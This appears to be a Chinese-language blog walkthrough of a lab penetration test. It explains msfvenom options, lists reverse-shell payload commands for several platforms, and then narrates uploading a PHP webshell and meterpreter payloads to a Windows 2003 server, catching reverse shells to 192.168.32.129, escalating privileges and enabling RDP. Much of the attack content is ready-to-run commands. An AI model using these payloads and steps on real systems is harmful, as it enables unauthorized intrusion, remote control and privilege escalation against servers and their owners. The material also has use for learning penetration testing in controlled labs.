測試環境:
- 內網,沒錢買服務器,而且還拿不到站,尷尬的事情😭
- 攻擊者:parrotos 這個系統跟kali差不多
- 服務器:windows2003
那么,我們現在先來看看使用msfvenom如何生成payload
msfvenom
這個是一個什么東西就不用說了吧,玩過metasploit的都知道(表示我還是一個新手!!!),當然沒玩過的自行谷歌,已經很多大佬跟我說過這個是滲透測試最基本的東西
在freebuf上面看到msfvenom命令行選項的中文翻譯,我直接搬過來了,不犯法吧,哈哈哈!!!
msfvenom命令行選項
Options:
1 |
-p, --payload <payload> 指定需要使用的payload(攻擊載荷)。如果需要使用自定義的payload,請使用'-'或者stdin指定 |
生成payload
生成payload,有有兩個必須的選項:-p -f
使用-p 來指定要使用的payload。
可以使用下面的命令來查看所有msf可用的payload列表
1 |
./msfvenom -l payloads |
-p選項也支持使用使用自定義的payload,需要使用 “-“,比如:
1 |
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw |
使用-f 來指定payload的輸出格式
舉例:
1 |
./msfvenom -p windows/meterpreter/bind_tcp -f exe |
使用下面的命令,可以產看msf支持的輸出格式
1 |
./msfvenom --help-formats |
一個典型的msfvenom使用舉例如下:
1 |
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe |
使用自定義可執行文件模板
默認的,msfvenom使用的模板文件保存在msf/data/templates目錄中,如果你想使用你自己的模板文件,你可以使用-x選項來指定,比如:
1 |
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe |
這個命令將使用windows下計算器程序(calc.exe)作為可執行文件的模板生成payload。
注意:如果你想要創建一個windows的x64的可執行文件模板來生成一個x64的payload,你只能使用exe格式的模板。
使用-x選項經常和-k選項配合使用,-k選項會將你的payload作為一個新的進程運行。但目前這個選項只支持老版本的windows系統比如windows xp
MSF Payloads
生成攻擊載荷
Linux下反彈Meterpreter shell
1 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell |
C反彈shell(C shellcode)
1 |
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c |
Python反彈shell
1 |
msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py |
Asp反彈shell
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp |
Bash反彈shell
1 |
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh |
PHP反彈shell
1 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php |
Windows反彈shell
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe |
上面是一些msfvenom可以生成的攻擊載荷
因為我們的需要提權網站是php的,所以就需要生成php載荷
開始我們的表演
接下來全是一些瞎操作😂
將php大馬上傳到服務器
我這里已經上傳成功了
但是執行whomai,net user命令沒有回顯,那證明權限不夠,所以我們拿着msf來提權
接着
打開parrotos系統,這個系統叫做“鸚鵡”,跟kali差不多,感興趣的自行谷歌
執行命令生成攻擊載荷:
1 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=3333 -f raw -o shell.php |
shell.php這個載荷已經生成好了,生成好了的文件在當前目錄,現在我們將它上傳到服務器
已經成功上傳,當然,光這樣是不夠的,現在切換到parrotos虛擬機系統
我們需要去執行一些漏洞利用模塊
在命令行窗口輸入msfconsole就可以進入metasploit了
1 |
┌─[root@parrot]─[~] |
現在parrotos系統這邊正在監聽中,我們現在只需要去執行我們上傳的php文件,在任意系統中打開那個shell.php網頁即可觸發
看到 meterpreter> 就已經反彈了一個shell了,接着輸入直接輸入getuid
1 |
meterpreter > getuid |
直接輸入shell可以進入bash終端
1 |
meterpreter > shell |
記錄這個位置C:\phpStudy\WWW\webpentest\varcov>
沒搞懂為什么在輸入shell后執行net user類似的命令為什么會斷開連接,有哪位大佬看到是否可以幫忙解釋一下
1 |
Terminate channel 0? [y/N] y |
看到上面出問題了,難道沒戲了嗎,當然不是了,meterpreter>那個界面的功能已經夠我們用了
由於我的php大馬支持cmd命令執行,果斷的從新生成了一個exe文件,上傳到服務器
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=4444 -f exe -a x86 --platform win -o shell.exe |
生成了shell.exe,現在試着用其他方法上傳到服務器,我們在執行一次php文件,然后parrotos系統這邊又監聽到了一個會話,直接連接進去
接着直接upload上傳文件即可
1 |
[*] Started reverse TCP handler on 192.168.32.129:3333 |
ok,上傳成功,因為生成的exe文件是用的一個新端口,並且payload是windows/meterpereter/reverse_tcp
,所以返回重新設置即可
1 |
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
完成上面操作后,來到php大馬在命令執行中寫入路徑即可
C:\phpStudy\WWW\webpentest\varcov\shell.exe
由於是windows系統,所以注意斜杠問題,windows的是反斜杠”\”
接着提權:
1 |
meterpreter > getuid |
3389端口也已經開啟了,接下來拿我們的win10去連接即可
大概就這么多了吧,下次有時間寫一個metasploit的使用,這個框架還是比較牛逼的